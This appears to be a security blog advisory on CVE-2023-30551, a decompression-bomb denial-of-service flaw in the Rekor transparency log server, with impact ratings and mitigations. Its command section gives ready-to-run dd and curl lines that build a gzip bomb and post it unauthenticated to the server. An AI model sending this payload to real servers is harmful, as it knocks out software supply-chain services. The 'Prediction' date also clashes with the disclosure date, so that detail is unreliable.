Listen to this Post
How CVE-2023-30551 Works
The vulnerability resides in the `Package.Unmarshal()` function within `pkg/types/alpine/apk.go` of the Rekor transparency log server. This function processes APK (Alpine Package Keeper) files submitted via the `ProposedEntry` API. When an APK file is received, Rekor decompresses the gzip-compressed signature (.SIGN) and control (.PKGINFO) members into in-memory byte slices. The decompression is performed without any bounds checking on the total decompressed size – the existing `max_apk_metadata_size` configuration (default 1 MB) is only enforced after decompression completes, and only on individual tar entry headers, not on the cumulative decompressed payload.
An attacker can craft a malicious gzip stream with an extreme compression ratio of approximately 1000:1 – for example, a 2 MB compressed payload of zeros expands to 2 GB of decompressed data. When this payload is submitted as `spec.package.content` in an Alpine ProposedEntry, the server proceeds to decompress the entire stream into heap memory during request processing. This uncontrolled memory allocation rapidly exhausts available RAM, triggering either a fatal Go runtime out-of-memory error or an OS-level OOM-kill. Critically, this panic occurs outside the scope of Rekor’s `recover()` middleware, meaning the entire server process crashes rather than just returning a 500 error to the client.
The attack is reachable via two unauthenticated REST endpoints:
– `POST /api/v1/log/entries` (createLogEntry)
– `POST /api/v1/log/entries/retrieve` (searchLogQuery)
Both endpoints invoke the same internal call chain: `V001Entry.Canonicalize()` → `fetchExternalEntities()` → apk.Unmarshal(packageData), which performs the unbounded decompression. There is no effective workaround: setting `max_request_body_size` reduces the attack surface but does not eliminate it, as a 1 MB body limit still allows ~1 GB of heap allocation due to the 1000:1 compression ratio. Likewise, `max_apk_metadata_size` has no effect because the check is applied after decompression.
DailyCVE Form
Platform: Rekor Version: < 1.1.1 Vulnerability: Unbounded Decompression (DoS) Severity: High (CVSS 7.5) Date: 2023-05-08 Prediction: 2023-05-02 (patch in v1.1.1)
What Undercode Say
Check Rekor server version
rekor-cli version
Verify if server is vulnerable (look for version < 1.1.1)
curl -s http://rekor-server:3000/api/v1/log/entries | jq '.'
Test with a minimal compressed bomb (2MB compressed -> 2GB decompressed)
Generate a 2MB gzip of zeros
dd if=/dev/zero bs=1M count=2 | gzip > bomb.gz
Submit as APK content via createLogEntry (unauthenticated)
curl -X POST http://rekor-server:3000/api/v1/log/entries \
-H "Content-Type: application/json" \
-d '{
"spec": {
"type": "alpine/v0.0.1",
"package": {
"content": "'"$(base64 -w0 bomb.gz)"'"
}
}
}'
Monitor server memory usage during attack
watch -n 1 'ps aux | grep rekor | grep -v grep | awk "{print \$4, \$6}"'
Check for OOM events in kernel log
dmesg | grep -i "out of memory"
dmesg | grep -i "kill"
Verify patch status in source code (fixed in v1.1.1)
The fix introduces size checks before decompression in pkg/types/alpine/apk.go
git clone https://github.com/sigstore/rekor.git
cd rekor
git checkout v1.1.1
grep -n "max_apk_metadata_size" pkg/types/alpine/apk.go
Exploit
An attacker can exploit this vulnerability by:
- Crafting a malicious APK file containing a gzip-compressed `.SIGN` or `.PKGINFO` member with a high compression ratio (e.g., 2 MB compressed → 2 GB decompressed).
- Submitting the payload via either unauthenticated endpoint (
/api/v1/log/entriesor/api/v1/log/entries/retrieve) with `spec.type` set to `alpine/v0.0.1` and the malicious base64-encoded content inspec.package.content. - Triggering the decompression – the server reads the tar header size (which may be artificially inflated), allocates a byte slice of that size, and decompresses the gzip stream into memory.
- Causing an OOM crash – the heap grows beyond available RAM, leading to a Go runtime panic or OS OOM-kill, taking down the entire Rekor server process.
The attack requires no authentication, no prior knowledge, and can be executed with a single HTTP request. The crash is not recoverable via Rekor’s panic recovery middleware, resulting in a full denial of service.
Protection
- Upgrade to Rekor version 1.1.1 or later – this is the only complete mitigation. The patch introduces proper bounds checking on decompressed sizes before allocation.
- Deploy a reverse proxy with request size limits – while not a full fix, setting `max_request_body_size` to a low value (e.g., 100 KB) reduces the maximum possible decompressed size (100 KB compressed → ~100 MB decompressed), making exploitation harder but not impossible.
- Monitor memory usage – implement alerts for sudden heap growth in Rekor pods/containers.
- Restrict network access – place Rekor behind a firewall or API gateway that requires authentication for write endpoints, though this does not address the unauthenticated nature of the vulnerability.
- Use resource limits – in containerized environments, set strict memory limits and restart policies to contain the impact of a single crash.
Impact
- Availability (High) – Successful exploitation causes a complete denial of service by crashing the Rekor server process. The crash cannot be caught by the application’s recovery middleware, leading to service unavailability until manual restart.
- Confidentiality (None) – The vulnerability does not expose or leak any data.
- Integrity (None) – The vulnerability does not allow modification of data.
- Attack Vector (Network) – Remotely exploitable over HTTP without authentication.
- Attack Complexity (Low) – No special conditions or prior access required.
- CVSS Base Score: 7.5 (High) – CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
- Business Impact – Organizations using Rekor as a software supply chain transparency log may experience extended downtime, disrupting build pipelines, attestation verification, and compliance auditing.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
